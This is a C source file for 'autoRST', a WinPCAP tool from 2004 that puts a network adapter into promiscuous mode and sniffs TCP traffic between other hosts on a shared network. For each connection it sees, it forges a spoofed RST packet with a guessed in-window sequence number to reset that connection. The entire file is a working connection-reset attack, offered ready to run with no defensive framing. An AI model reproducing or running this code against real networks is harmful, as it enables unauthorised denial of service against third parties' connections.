/******************************************************************************************
* autoRST
* Matt Edman - Baylor University
* 5/3/2004
*
* DESCRIPTION:
* Sniffs out TCP connections on a non-switched network and attempts to
reset them
* by forging a RST packet in the correct window
*
* REQUIRED LIBRARIES:
* -WinPCAP 3.1beta or higher
* -WinPCAP developer's pack
*
* NOTES:
* Just make sure you have WinPCAP 3.1beta or higher installed and the
appropriate
* winpcap header files downloaded and paths setup. Other than that, just
start it
* up and let it do its job.******************************************************************************************/
#include <stdio.h>
// WinPCAP includes
#include <pcap.h>
#include <remote-ext.h>
// 6 byte MAC Address
typedef struct mac_address {
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
u_char byte5;
u_char byte6;
}mac_address;
// 4 bytes IP address
typedef struct ip_address{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
}ip_address;
// 20 bytes IP Header
typedef struct ip_header{
u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)
u_char tos; // Type of service
u_short tlen; // Total length
u_short identification; // Identification
u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)
u_char ttl; // Time to live
u_char proto; // Protocol
u_short crc; // Header checksum
ip_address saddr; // Source address
ip_address daddr; // Destination address
// u_int op_pad; // Option + Padding -- NOT NEEDED!
}ip_header;
// 20 bytes TCP Header
typedef struct tcp_header {
u_short sport; // Source port
u_short dport; // Destination port
u_int seqnum; // Sequence Number
u_int acknum; // Acknowledgement number
u_char hlen; // Header length
u_char flags; // packet flags
u_short win; // Window size
u_short crc; // Header Checksum
u_short urgptr; // Urgent pointer...still don't know what this is...
}tcp_header;
// FUNCTION PROTOTYPES
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const
u_char *pkt_data);
void print_packet( u_char *pkt, int len );
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport,
mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum,
u_int win );
u_int iptoUINT( ip_address *ip );
u_short csum (unsigned short *buf, int nwords);
// GLOBAL VARIABLES
pcap_t *adhandle; // The device handle
u_int localaddr; // Local IP Address
struct sockaddr_in *lSock; // Local socket structure
int main( int argc, char *argv[] ) {
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
char *localIP;
// Get the list of adapters
if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) ==
-1 ) {
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
return 0;
}
// Print the list of adapters -- from Winpcap sample code
for( d = alldevs; d != NULL; d = d->next ) {
printf("%d. %s", ++i, d->name);
if ( d->description )
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
// Traverse the list to the selected adapter
for( d = alldevs, i = 0; i < inum-1; d = d->next, i++);
// Get the local address
lSock = (struct sockaddr_in *)(d->addresses->addr);
localaddr = lSock->sin_addr.S_un.S_addr;
printf("%d\n", localaddr);
localIP = inet_ntoa(lSock->sin_addr);
printf("Local Addr: %s\n", localIP);
// Open the device for the capture
if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS,
10, NULL, errbuf ) ) == NULL) {
fprintf(stderr,"\nUnable to open adapter: %s \n", d->name);
pcap_freealldevs(alldevs);
return -1;
}
printf("\nListening on %s...\n", d->description);
pcap_freealldevs(alldevs);
pcap_loop(adhandle, 0, packet_handler, NULL);
return 0;
}
// CALLBACK function...called for each received packet
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const
u_char *pkt_data) {
u_int ip_len;
mac_address *srcmac;
mac_address *destmac;
ip_header *iph;
tcp_header *tcph;
destmac = (mac_address *)pkt_data;
srcmac = (mac_address *)(pkt_data + 6);
iph = (ip_header *) (pkt_data + 14);
if( iph->proto == 0x06 ) { // TCP PACKETS
if( localaddr != iptoUINT( &iph->saddr ) && localaddr != iptoUINT(
&iph->daddr ) ) { // Don't reset our own connection
ip_len = (iph->ver_ihl & 0xf) * 4;
tcph = (tcp_header *)(pkt_data + 14 + ip_len);
if( tcph->flags != 0x04 ) // If the RST flag is already set, no need
sending another RST packet
send_reset( srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr,
tcph->dport, tcph->acknum, tcph->win );
}
}
}
// Attempts to forge a RST packet and send it back to the source,
resetting the TCP connection
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport,
mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum,
u_int win ) {
u_short tcp_hdrcrc[16];
u_short ip_hdrcrc[10];
u_short tcp_tos = htons(0x06);
u_short tcp_hlen = htons(0x14);
u_short ip_tos = htons(0x0800);
ip_header iph;
tcp_header tcph;
u_char pkt[54];
printf("Attempting to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n",
srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport),
destip->byte1, destip->byte2, destip->byte3,
destip->byte4, ntohs(dport));
// Setup IP Header
iph.ver_ihl = 0x45;
iph.tos = 0x01;
iph.tlen = htons(40);
iph.identification = htons(0x0800);
iph.flags_fo = 0x0;
iph.ttl = 0xff;
iph.proto = 0x06;
iph.crc = 0x00;
iph.saddr = *destip; // swap the source & dest ips
iph.daddr = *srcip;
// Setup TCP Header
tcph.sport = dport; // swap the source & dest ports
tcph.dport = sport;
tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2);
tcph.acknum = tcph.seqnum + htonl(0x1);
tcph.hlen = 0x50;
tcph.flags = 0x04;
tcph.win = win;
tcph.urgptr = 0x00;
tcph.crc = 0x00;
// Calculate the IP Header Checksum
memset(ip_hdrcrc, 0, 20);
memcpy(ip_hdrcrc, &iph, 20);
iph.crc = csum( ip_hdrcrc, 10 );
// Construct the tcp pseudo-header for checksum calculation
memset(tcp_hdrcrc, 0, 32);
memcpy(tcp_hdrcrc, &tcph, 20);
memcpy(&tcp_hdrcrc[10], &iph.saddr, 4);
memcpy(&tcp_hdrcrc[12], &iph.daddr, 4);
memcpy(&tcp_hdrcrc[14], &tcp_tos, 2);
memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2);
tcph.crc = csum( tcp_hdrcrc, 16 );
// Assemble the packet
memcpy( pkt, (void *)srcmac, 6 );
memcpy( (void *)(pkt + 6), (void *)destmac, 6 );
memcpy( (void *)(pkt + 12), &ip_tos, 2);
memcpy( (void *)(pkt + 14), &iph, 20 );
memcpy( (void *)(pkt + 14 + sizeof( ip_header )), &tcph, 20 );
// Send the packet
if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0)
fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(adhandle));
}
// Calculates the TCP Checksum based on the helper header
u_short csum (unsigned short *buf, int nwords) {
unsigned long sum=0;
for( sum=0; nwords > 0; nwords-- )
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (u_short)~sum;
}
// Takes in an ip_address structure and returns the equivalent 4byte UINT
value
u_int iptoUINT( ip_address *ip ) {
u_int ipaddr;
ipaddr = ip->byte4 | (ip->byte3 << 8);
ipaddr = ipaddr | (ip->byte2 << 16);
ipaddr = ipaddr | (ip->byte1 << 24);
return htonl(ipaddr);
}
// Display the values in the packet on the screen
void print_packet( u_char *pkt, int len ) {
int i;
printf("\tThe Packet\n------------------------------\n");
for( i = 0; i < len; i++ ) {
if(i%4==0)
printf("\n");
printf("0x%x ", pkt[i]);
}
printf("\n");
}